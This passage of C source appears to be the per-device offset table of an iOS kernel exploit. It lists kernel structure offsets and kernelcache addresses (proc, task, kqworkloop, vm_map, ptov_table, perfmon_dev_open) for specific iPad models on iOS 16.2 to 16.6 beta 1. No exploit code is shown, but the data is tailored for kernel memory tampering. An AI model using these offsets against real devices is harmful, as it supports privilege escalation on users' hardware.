.kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,11\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n        // iPad Air 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,16\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 